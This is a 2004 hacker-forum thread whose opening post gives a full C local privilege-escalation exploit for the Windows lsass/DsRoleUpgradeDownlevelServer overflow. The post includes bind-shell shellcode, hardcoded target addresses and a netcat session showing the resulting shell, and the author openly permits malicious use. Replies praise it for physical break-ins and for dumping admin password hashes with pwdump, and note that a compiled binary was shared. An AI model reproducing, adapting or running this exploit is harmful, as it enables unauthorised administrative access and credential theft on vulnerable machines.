Microsoft Windows Lsass.exe Local Exploit

thanatos

Apr 25 2004, 07:20 AM

CODE

/*

Billybastard.c !!!!

The following code is functional code to exploit the lsass.exe flaw
discovered by eeye. This is the local version of the exploit. I will
release a remote version if someone pays me;) Use at your free will,
to test for the vulnerability or for malicious means. I do not give a
(filtered).

Greetz: Dayle, Sc, breezah, RaFa, netmaniac, nightforce, prog, illmob group
and everyone else i forgot to mention.

Big thanks to netmaniac for hints on the undocumented api and making me
aware of the bug etc.

Obstacles encountered during developing the code:

The biggest problem was probably the fact that the area pointed to
by ESP was actually a very limited place where we had control of
(8 bytes to be precised). There is no way decent shellcode would
fit into it. So what i done was relocated my shellcode somewhere
else in the buffer and performed a bit of hackery to jump backwards
into the place where the shellcode was located. I also had to make
sure the registers were kept intact and cleaned up but this was not
a problem.

--------------

C:\Documents and Settings\ronan>nc 127.0.0.1 31337

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

----------------

Coded by Hi_Tech_Assassin

date: 15/4/04

*/

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

#pragma comment(lib,"rpcrt4.lib")

#define NET_LIB "netapi32.dll"
#define NET_LIB_FUNC "DsRoleUpgradeDownlevelServer"

#define BUFSIZE 2000
#define NOP 0x90

struct targets
{
int targetNo;
char platform[40];
long jmpAddr;

} target[]=
{
{1,"win xp(sp1 all patches) kernel32.dll", 0x77E9AE59}, // tested
{2,"win2k(all)", 0x0018759F}, // untested
{3,"crash", 0xffffffff},
{NULL}
};

char shellcode[] =

"\x90"
"\x8B\xEC" //mov ebp, esp
"\xB0\x90" //mov al, 90h
"\x2B\xE0" //sub esp, eax
"\x90\x90\x90"

"\xeb\x23\x7a\x69\x02\x05\x6c\x59\xf8\x1d\x9c\xde\x8c\xd1\x4c"
"\x70\xd4\x03\xf0\x27\x20\x20\x30\x08\x57\x53\x32\x5f\x33\x32"
"\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d\x83\xed"
"\x2a\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b"
"\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01\xfb\x8b"
"\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b\x5b\x20"
"\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe\xac\x31"
"\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x05\x8d\x44\x45\x04"
"\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50\x52\x2b"
"\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f\xb6\x4d"
"\x05\x89\x44\x8d\xd8\xfe\x4d\x05\x75\xbe\xfe\x4d\x04\x74\x21"
"\xfe\x4d\x22\x8d\x5d\x18\x53\xff\xd0\x89\xc7\x6a\x04\x58\x88"
"\x45\x05\x80\x45\x77\x0a\x8d\x5d\x74\x80\x6b\x26\x14\xe9\x78"
"\xff\xff\xff\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46\x56\xff"
"\xd0\x97\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff\x55\xd4\x4e"
"\x56\x57\xff\x55\xcc\x53\x55\x57\xff\x55\xd0\x97\x8d\x45\x88"
"\x50\xff\x55\xe4\x55\x55\xff\x55\xe8\x8d\x44\x05\x0c\x94\x53"
"\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45"
"\xcc\x94\x57\x57\x57\x53\x53\xfe\xc6\x01\xf2\x52\x94\x8d\x45"
"\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53\x6a\x10\xfe\xce\x52"
"\x53\x53\x53\x55\xff\x55\xec\x6a\xff\xff\x55\xe0";

void Banner(void)
{
puts("\nBillybastard (local lsass ownage exploit)");
}

void Usage(void)
{
int x=0;

printf("\nUsage:\n\n Billybastard <target no>\n\nTargets\n\n");
while(target[x].targetNo)
{
printf("[%d] - %s\n", target[x].targetNo, target[x].platform);
x++;
}
printf("\nCoded by: Hi Tech Assassin\n");
}

int main(int argc, char **argv)
{
HMODULE hNetLib;
FARPROC NetLibFunc;

char junk[]="\xee\xee\xee";

char strAsmSex[]="\x66\x81\xEC\x1C\x07\xFF\xE4";

char strBigBuffer[BUFSIZE];
unsigned int targetNo=0;

unsigned char * pszUuid = NULL;
unsigned char * pszProtocolSequence = "ncacn_np";
unsigned char * pszNetworkAddress = NULL;
unsigned char * pszEndpoint = "\\pipe\\lsarpc";
unsigned char * pszOptions = NULL;
unsigned char * pszStringBinding = NULL;
unsigned char * pszString = NULL;

RPC_STATUS rpcStatus;

Banner();

if(argc==2)targetNo=atoi(argv[1])-1;

else
{
Usage();
return 0;
}

rpcStatus=RpcStringBindingCompose(pszUuid,
pszProtocolSequence,
pszNetworkAddress,
pszEndpoint,
pszOptions,
&pszStringBinding);
if(rpcStatus)
{
printf("rpcbind error\n");
return 1;
}

printf("rpcbind success!\n");

hNetLib = LoadLibrary(NET_LIB);

if(hNetLib == NULL)
{
printf("[x] Error loadin' library %s\n Exitin'...\n",NET_LIB);
return 1;
}

NetLibFunc = (HANDLE)GetProcAddress(hNetLib,NET_LIB_FUNC);

memset(strBigBuffer, NOP, BUFSIZE);

memcpy(strBigBuffer+160, shellcode, strlen(shellcode));
memcpy(strBigBuffer+1980, strAsmSex, strlen(strAsmSex));

*(long *)&strBigBuffer[1964]=target[targetNo].jmpAddr;

NetLibFunc(strBigBuffer,junk,junk,junk,junk,junk,junk,junk,junk,junk,junk,junk);

RpcStringFree(&pszStringBinding);
FreeLibrary(hNetLib);

return 0;
}

Source : http://www.cnhonker.com/index.php?module=e...w&type=9&id=515

ssj4conejo

Apr 25 2004, 07:54 AM

thx. local exploits are great, specially for physical breakins = ). Its one of the most effective ways of running pwdump with admin rights and getting the admin hash = ).

Nick

Apr 25 2004, 08:49 AM

it gives you a root access ?

h3llraz0r

Apr 25 2004, 10:30 AM

compiled and posted in download section. gets detected as a bloodhound.exploit/hack tool

Gurou

Apr 25 2004, 11:58 AM

this is for ms04-011 or older ?

gsicht

Apr 25 2004, 12:06 PM

QUOTE

it gives you a root access ?

lol, this is not for linux

r3L4x

Apr 25 2004, 03:55 PM

admin & root its all the same

tribalgoa

Apr 25 2004, 06:48 PM

great ... another local root sploit ....
just when all the 'remote user shell' sploits are dead (wms, fp)